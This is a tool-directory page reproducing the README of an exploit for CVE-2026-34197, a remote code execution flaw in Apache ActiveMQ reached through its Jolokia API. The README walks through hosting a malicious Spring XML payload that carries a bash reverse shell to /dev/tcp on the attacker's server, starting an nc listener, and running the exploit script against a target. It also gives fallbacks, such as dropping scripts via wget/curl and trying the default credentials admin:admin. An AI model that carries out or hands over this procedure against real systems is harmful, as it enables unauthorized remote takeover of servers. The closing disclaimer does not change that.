Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197-payload-Apache-ActiveMQ- — Exploit script for CVE-2026-34197, targeting Apache ActiveMQ's Jolokia API to achieve remote code execution via malicious Spring XML configuration, with reverse shell capability. | Kitploit
Tools/GitHubGitHub/xshysjhq/cve-2026-34197-payload-apache-activemq-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubxshysjhq/cve-2026-34197-payload-apache-activemq-

CVE-2026-34197-payload-Apache-ActiveMQ-

Exploit script for CVE-2026-34197, targeting Apache ActiveMQ's Jolokia API to achieve remote code execution via malicious Spring XML configuration, with reverse shell capability.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ActiveMQ Jolokia RCE Vulnerability Reproduction Guide

This repository provides a remote code execution (RCE) vulnerability reproduction environment and exploitation script based on the exposed Jolokia API endpoint (/api/jolokia/) of Apache ActiveMQ. By invoking the addNetworkConnector operation, it forces ActiveMQ to parse a maliciously crafted remote Spring XML configuration file, thereby leveraging MethodInvokingFactoryBean to execute system commands.

📁 Included Files

  • payload.py: The main exploitation script that sends HTTP POST requests with a dynamic Broker name.
  • payload.xml: A malicious Spring Bean configuration file containing the reverse shell command payload.

🛠️ Environment Preparation

  1. Python 3 environment
  • Install dependencies:
    root@kitploit:~
    pip install requests
    
  • Attacker machine (e.g., cloud server): Must have a public IP and be able to open an HTTP service port and a reverse shell listening port.
  • Target machine: A vulnerable ActiveMQ service (e.g., the apache/activemq-classic:6.1.0 Docker image).
  • 🚀 Reproduction Steps

    1. Configure the Attack Payload (payload.xml)

    Open payload.xml on the attacker machine and locate the following section:

    root@kitploit:~
    <value>bash -c 'bash -i >& /dev/tcp/YourCloudServerIP/15000 0>&1'</value>
    

    Replace the IP with your cloud server's public IP. If bash is not available in the target environment, change it to sh or another execution method depending on the target environment.

    2. Start the Reverse Shell Listener

    Open a terminal on the attacker machine (cloud server) and listen on the specified port (e.g., 15000):

    root@kitploit:~
    nc -lvvp 15000
    

    Note: Ensure that the cloud server's security group/firewall has allowed inbound TCP port 15000.

    3. Start an HTTP Server to Host the Payload

    On the attacker machine (in the same directory as payload.xml), start an HTTP server so the target can download the XML file:

    root@kitploit:~
    python3 -m http.server 9000
    

    Note: Also ensure that the cloud server's security group/firewall has allowed inbound TCP port 9000.

    4. Execute the Exploitation Script

    Run payload.py on the local machine (or the attacker machine). The script supports passing the target ActiveMQ's IP:port (-t) and the attacker machine's XML hosting IP:port (-a) via command-line arguments.

    root@kitploit:~
    python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
    

    After running, the script automatically generates a random brokerName (e.g., rce_a1b2c3) to completely resolve the name conflict error java.io.IOException : Network Connector could not be registered in JMX.

    5. Obtain a Shell

    If the exploitation succeeds:

    1. Your HTTP server (python3 -m http.server 9000) will show a GET 200 request log for /payload.xml.
    2. Your nc listener will receive a reverse shell connection from the target machine.

    ⚠️ Common Troubleshooting

    1. Successfully retrieved the XML (HTTP 200), but no Shell received:
      • Reason A: The cloud server's security group blocked the reverse shell (inbound traffic on port 15000 not allowed).
      • Reason B: The target container does not have the /bin/bash command (common in minimal base images like Alpine). Modify the execution command in payload.xml to /bin/sh, or use wget/curl to drop a script and then execute it.
    2. Target returns 401 Unauthorized:
    • Reason: Newer versions of ActiveMQ / Jolokia require account and password authentication.
    • Solution: If default credentials are used, add Basic Auth to the request (e.g., admin:admin).

    🛡️ Disclaimer

    This script and documentation are intended solely for authorized security testing and educational purposes. Any unauthorized illegal testing is strictly prohibited. Users are responsible for their own actions.

    Download Tool